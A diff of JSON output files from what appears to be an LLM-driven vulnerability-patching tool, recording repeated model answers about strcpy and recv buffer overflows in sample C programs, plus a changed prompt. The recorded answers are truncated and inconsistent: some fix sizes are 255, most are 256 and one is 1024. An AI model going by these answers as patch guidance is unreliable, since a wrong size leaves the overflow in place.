+            "Yes, the `strcpy` used in the `add` and `edit` functions poses a risk of overflow. \n\n**Reason:**\n\n1. **In the `add` function:**\n   - The `strcpy` function copies the string from `str` to `newNode->data` without checking the length of `str`.\n   - The size of `newNode->data` is not specified in the code, but if `str` is larger than the allocated space for `newNode->data`, it will cause a buffer overflow.\n\n2. **In the `edit` function:**\n   - Similarly, `strcpy` copies `newStr` to `current->data` without any bounds checking.\n   - If `newStr` is larger than the allocated space for `current->data`, it will also cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use `strncpy` or another safer string handling function that limits the number of characters copied based on the size of the destination buffer."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for `newNode`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [
+            "Yes, the `strcpy` used in the `add` and `edit` functions poses a risk of overflow. \n\n**Reason:**\n\n1. **In the `add` function:**\n   - The `strcpy` function copies the string from `str` to `newNode->data` without checking the length of `str`.\n   - The size of `newNode->data` is not specified in the code, but if `str` is larger than the allocated space for `newNode->data`, it will cause a buffer overflow.\n\n2. **In the `edit` function:**\n   - Similarly, `strcpy` copies `newStr` to `current->data` without any bounds checking.\n   - If `newStr` is larger than the allocated space for `current->data`, it will also cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use `strncpy` or another safer string handling function that limits the number of characters copied based on the size of the destination buffer."
+        ],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the allocation size used in the `malloc` call."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function is determined by the size of the `Node` structure and the allocation size. The `malloc(0x108uLL)` call allocates 264 bytes (0x108 in hexadecimal) for the `Node` structure. However, without the exact definition of the `Node` structure, we can only infer the size of `newNode->data` based on the allocation size."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to examine the memory allocation for `newNode` and the structure of the `Node`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it. However, the provided code does not explicitly define the `Node` structure, so we have to make some assumptions based on the context."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` statement within the `add` function, we need to analyze the code and understand the structure of the `Node`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the memory allocation for `newNode`."
+    },
+    {
+        "file_name": "edit_extract.c",
+        "vul_info": [],
+        "fix_size": 1024,
+        "patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the memory allocation for `newNode`."
     }
 ]

src/output/recv_extract/patch_recv.json

@@ -218,5 +218,149 @@
         "vul_info": [],
         "fix_size": 255,
         "patch_info": "you should limit the size of the data received by the `recv` function to the size of the buffer. The buffer is declared as `char buffer[256];`, so the maximum safe size for `recv` should be 255 bytes to leave room for the null terminator."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of data received to the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can safely hold 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024 in decimal) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely and prevent buffer overflow, the size parameter for `recv` should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should ensure that the size of the data received does not exceed the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you need to ensure that the size of data received does not exceed the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size parameter for `recv` should be adjusted to match the buffer size."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "the size specified in the `recv` call should not exceed the size of the buffer allocated to store the received data. In the `echo_handler` function, the buffer `buffer` is defined with a size of 256 bytes. However, the `recv` call is currently attempting to read up to 1024 bytes (`0x400` in hexadecimal), which exceeds the buffer size and can lead to a buffer overflow."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the `recv` call should not attempt to read more data than the buffer can hold."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of data received by `recv` to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "while the `buffer` is only 256 bytes long. To ensure the program works safely without risking a buffer overflow, the size parameter in the `recv` call should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "the size specified for `recv` should not exceed the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To prevent buffer overflow, the `recv` function should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely and to prevent buffer overflow, the `recv` function should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size parameter in the `recv` function should be limited to the size of the buffer to prevent overflow."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to 1024 bytes (`0x400uLL`) into a buffer that is only 256 bytes in size. To prevent a buffer overflow, the `recv` function should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which can lead to undefined behavior, including potential security vulnerabilities such as executing unintended code."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to 1024 bytes (`0x400uLL`) into a buffer that is only 256 bytes in size. To ensure the program works safely, the size parameter in the `recv` function should be limited to the size of the buffer to prevent overflow."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "the `recv` function is called with a buffer size of `0x400` (1024 in decimal), but the `buffer` is only 256 bytes in size. This creates a risk of buffer overflow because the `recv` function can write up to 1024 bytes into a buffer that can only hold 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "the size passed to `recv` should not exceed the size of the buffer. Therefore, the correct size to use with `recv` should be 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of the data received to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "the `recv` function should be limited to reading at most 256 bytes, which is the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size passed to `recv` should not exceed the buffer size. Therefore, the correct size to use with `recv` is 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely and to prevent buffer overflow, the size specified in the `recv` call should not exceed the size of the buffer. Therefore, the correct size to use in the `recv` call is 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the allocated size of the `buffer` array, which is only 256 bytes. To ensure the program works safely and to prevent buffer overflow, the `recv` function should be called with a size that does not exceed the size of the `buffer`."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To prevent a buffer overflow, the `recv` function should be limited to the size of the buffer."
     }
 ]

src/prompt.json

@@ -28,7 +28,7 @@
         "name": "strcpy",
         "prompt": {
             "role": "user",
-            "content": "how many size should I set for strncpy in add function which will be used to replace strcpy. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
+            "content": "Tell me the length size of newNode->data in strcpy(newNode->data, str); within the add function. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
         }
     },
     {